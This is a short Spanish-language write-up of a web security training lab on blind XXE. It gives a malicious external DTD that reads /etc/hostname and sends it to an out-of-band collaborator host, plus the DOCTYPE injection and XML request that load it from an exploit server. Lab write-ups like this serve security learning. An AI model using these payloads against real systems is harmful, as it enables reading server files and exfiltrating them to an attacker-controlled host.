
Lab: Exploiting blind XXE to exfiltrate data using a malicious external DTD

Para poder obtener el contenido de /etc/hostname, de utilizar el un servidor con un dtd malicioso debido a que el firewall bloquea al intentar leer algún archivo. Por lo que pondremos lo siguiente en el servidor atcante.
c
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://waal1f965sh4wkfhcwbv6rk26tck0do2.oastify.com/?x=%file;'>">
%eval;
%exfil;
Para luego enviar la solicitud con agregando el siguiente contenido. Esto hará una petición al servidor atacante con el el dtd malicioso el cual luego enviara el contenido de /etc/hostname al servidor final.
c
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0af2000403e3a103804ced5a017e0092.exploit-server.net/exploit"> %xxe;]>
Teniendo nuestra request de la siguiente manera:
c
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0af2000403e3a103804ced5a017e0092.exploit-server.net/exploit"> %xxe;]><stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>}Al enviar la solicitud obtenemos el contenido del archivo /etc/hostname
